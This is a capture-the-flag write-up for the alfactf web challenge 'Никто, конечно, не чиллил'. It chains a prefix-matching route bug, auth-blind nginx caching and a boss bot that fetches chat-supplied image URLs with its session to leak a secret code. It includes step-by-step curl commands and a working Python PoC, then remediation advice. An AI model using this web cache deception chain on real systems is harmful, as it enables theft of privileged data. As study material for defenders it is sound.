Никто, конечно, не чиллил
alfactf
Task: an intranet web service exposed a boss bot, a custom FastAPI dispatcher, and nginx caching in front of authenticated APIs. Solution: turn boss-only JSON endpoints into fake .png paths, let the authenticated bot prime nginx cache, then reuse the leaked vacation code to trigger the flag endpoint.
$ ls tags/ techniques/
Никто, конечно, не чиллил — alfactf
Description
Никто, конечно, не чиллил
Сервис: noonechilled
The target was a corporate intranet service at https://noonechilled-gvgof6lm.alfactf.ru. Source code was provided, and the goal was to recover a boss vacation code and use it as an employee to reach the flag.
Short Summary
This challenge was a four-bug chain:
- a custom dispatcher matched only a route prefix and ignored trailing path segments,
- nginx cached any URL that looked like a static file without varying on authentication,
- the boss bot fetched attacker-supplied image URLs with its authenticated session,
- a valid boss vacation code could be submitted by any employee to deactivate their account and receive the flag.
Together, these issues turned a boss-only API response into a public cached .png URL.
Reconnaissance
The Docker topology in docker-compose.yml immediately exposed the interesting trust boundaries:
- the public frontend sits behind
nginx, - backend API requests are served from
http://nginx/http://backend, - the boss bot also talks to
API_BASE_URL=http://nginx, - the bot credentials are
[email protected]/WhiteboxBossPassword123!in the local compose file.
That suggested two useful directions: look for proxy/cache behavior in nginx, and inspect whether the bot can be induced to fetch attacker-controlled URLs from inside the Docker network.
Root Cause Analysis
1. Custom dispatcher suffix bypass
The main routing bug is in backend/app/api/http_dispatch.py:
def match(self, method: str, segments: list[str]) -> dict[str, str] | None: if method != self.method or len(segments) < len(self.pattern): return None params: dict[str, str] = {} for part, segment in zip(self.pattern, segments): if isinstance(part, PathParam): params[part.name] = segment continue if part != segment: return None return params
RouteSpec.match() rejects only shorter paths. It never requires len(segments) == len(pattern), so the comparison stops after the route-length prefix and silently ignores extra trailing segments.
That means all of the following match valid authenticated API routes:
/xhr/api/auth/me/cachetest123.png→GET auth/me/xhr/api/auth/vacation-code/leakboss124.png→GET auth/vacation-code
This is the primitive that lets API endpoints masquerade as static files.
2. nginx caches static-looking URLs without auth awareness
deploy/nginx.conf contains this logic:
location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|webp|woff2?)$ { try_files $uri @cache; } location @cache { proxy_pass http://backend; proxy_cache mycache; proxy_cache_key $scheme$request_uri; proxy_cache_valid 200 10m; add_header X-Cache-Status $upstream_cache_status always; }
Any request ending in a static extension is routed into @cache if no real file exists. The cache key is only $scheme$request_uri, with no cookie, auth header, or user identity. So if an authenticated user fetches /xhr/api/auth/vacation-code/leakboss124.png, nginx will happily cache the boss-only JSON response and later return it to an unauthenticated visitor.
I verified the behavior with GET /xhr/api/auth/me/cachetest123.png:
- first authenticated request:
X-Cache-Status: MISS, - second unauthenticated request: same JSON body,
X-Cache-Status: HIT.
3. Boss bot as authenticated cache primer
The bot is exactly what was needed to populate the cache with a privileged response.
Relevant code paths:
boss-bot/auth.py: the bot logs in and keeps an authenticatedaiohttpsession,boss-bot/chat_processor.py: every incoming message is scanned with_process_static_urls(...),boss-bot/browser_emulator.py: anyhttp://orhttps://URL whose filename extension looks like an image is fetched.
The URL filter is extension-based only:
url_pattern = r'https?://[^\s]+' ... extension = filename.split('.')[-1].lower() if '.' in filename else '' ... image_extensions = ['png', 'jpg', 'jpeg', 'gif', 'svg', 'ico', 'webp']
The fetcher then performs a real authenticated GET request:
async with self.session.get(url, headers=headers, allow_redirects=False) as response:
Because docker-compose.yml sets API_BASE_URL=http://nginx, the bot can reach internal URLs such as:
http://nginx/xhr/api/auth/vacation-code/leakboss124.png
So a chat message can make the boss bot request a boss-only API endpoint through nginx, while nginx mistakes the path for a cacheable image.
4. Sensitive endpoint and flag path
backend/app/api/auth.py exposes a boss-only vacation code endpoint:
async def get_vacation_access_code(current_boss: User): return {"code": generate_vacation_code(settings.secret_key, str(current_boss.id))}
backend/app/api/users.py accepts any active boss vacation code and returns the flag after deactivating the current employee account:
provided = vacation.code.strip().upper() is_valid = any(provided == generate_vacation_code(settings.secret_key, str(boss.id)) for boss in bosses) ... return {"message": "Аккаунт деактивирован. Приятного отпуска!", "data": {"flag": "alfa{******REDACTED******}"}}
Once the bot leaks one valid boss code, the challenge is solved.
Exploit Chain
Step 1: register an employee account
Only employees may self-register, so start by creating one:
curl -i -s -c user_cookies.txt \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","password":"Passw0rd!824cf9df","display_name":"solver_ce76bc94","role":"employee"}' \ 'https://noonechilled-gvgof6lm.alfactf.ru/xhr/api/auth/register'
Why it works: auth.register() explicitly allows only role == "employee" and sets auth cookies for the new user.
Step 2: open the DM with the boss
curl -s -b user_cookies.txt -X POST \ 'https://noonechilled-gvgof6lm.alfactf.ru/xhr/api/chat/rooms/ensure-boss-dm'
Returned room used during the solve:
97abc22b-3593-4477-ac5f-7a18ef54756a
Why it works: the route exists in the custom dispatcher as POST chat/rooms/ensure-boss-dm, which creates or returns the employee/boss direct-message room.
Step 3: send an internal image URL to the boss bot
curl -s -b user_cookies.txt \ -H 'Content-Type: application/json' \ -d '{"body":"привет босс, глянь http://nginx/xhr/api/auth/vacation-code/leakboss124.png"}' \ 'https://noonechilled-gvgof6lm.alfactf.ru/xhr/api/chat/rooms/97abc22b-3593-4477-ac5f-7a18ef54756a/messages'
Why it works:
- the greeting helps the bot process and respond quickly,
- the bot extracts
http://nginx/...leakboss124.pngas an image URL, - it fetches that URL with the authenticated boss session,
- due to prefix route matching, the path still hits
GET /auth/vacation-code, - due to nginx cache rules, the boss-only JSON is cached under a public
.pngURL.
Step 4: fetch the public cached response
Wait a few seconds, then request the same path from the public service:
curl -i -s \ 'https://noonechilled-gvgof6lm.alfactf.ru/xhr/api/auth/vacation-code/leakboss124.png'
Observed response:
X-Cache-Status: HIT- body:
{"code":"TWDCN7XNTDNSHV7FVE4K"}
Why it works: nginx reuses the cache entry keyed only by the request URI, so the second request does not need any authenticated cookies.
Step 5: submit the stolen vacation code
curl -i -s -b user_cookies.txt \ -H 'Content-Type: application/json' \ -d '{"code":"TWDCN7XNTDNSHV7FVE4K"}' \ 'https://noonechilled-gvgof6lm.alfactf.ru/xhr/api/users/me/vacation'
Observed response:
{"message":"Аккаунт деактивирован. Приятного отпуска!","data":{"flag":"alfa{chilL_R3aRm_chIlL_R3ARM_cHill_RearM_ChilL}"}}
Why it works: POST /users/me/vacation checks whether the submitted code equals any active boss vacation code. The leaked code satisfies that condition, so the employee account is deactivated and the flag is returned.
Reproducible PoC Script
#!/usr/bin/env python3 import re import time import requests BASE = "https://noonechilled-gvgof6lm.alfactf.ru" EMAIL = "[email protected]" PASSWORD = "Passw0rd!824cf9df" DISPLAY = "solver_ce76bc94" LEAK_PATH = "/xhr/api/auth/vacation-code/leakboss124.png" def main(): s = requests.Session() r = s.post( BASE + "/xhr/api/auth/register", json={ "email": EMAIL, "password": PASSWORD, "display_name": DISPLAY, "role": "employee", }, ) if r.status_code not in (200, 400): raise SystemExit(f"register failed: {r.status_code} {r.text}") r = s.post(BASE + "/xhr/api/chat/rooms/ensure-boss-dm") r.raise_for_status() room_id = r.json()["id"] print(f"[+] room_id = {room_id}") body = { "body": f"привет босс, глянь http://nginx{LEAK_PATH}" } r = s.post(BASE + f"/xhr/api/chat/rooms/{room_id}/messages", json=body) r.raise_for_status() print("[+] message sent to boss bot") for _ in range(10): time.sleep(2) r = requests.get(BASE + LEAK_PATH) if r.headers.get("X-Cache-Status") == "HIT": code = r.json()["code"] print(f"[+] leaked code = {code}") break else: raise SystemExit("cache was not primed in time") r = s.post(BASE + "/xhr/api/users/me/vacation", json={"code": code}) r.raise_for_status() text = r.text print(text) m = re.search(r'alfa\{[^}]+\}', text) if not m: raise SystemExit("flag not found") print(f"[+] flag = {m.group(0)}") if __name__ == "__main__": main()
Remediation
- Require exact route length matching in the custom dispatcher.
- Never cache authenticated API responses under extension-based rules meant for static assets.
- Include auth state in cache policy or fully disable caching for
/xhr/api/. - Restrict bot URL fetching to an allowlist and block internal hostnames such as
nginx,api, and RFC1918/internal destinations. - Do not let a boss-only secret be replayed by lower-privileged users without a stronger binding to the requesting account.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][free]Six-Seven— alfactf
- [web][Pro]Протокол \"Затмение\" (Eclipse Protocol)— hackerlab
- [web][free]Экстремальная слякоть (Extreme Slush)— alfactf
- [web][free]BaseCamp— alfactf
- [web][Pro]board_of_secrets— miptctf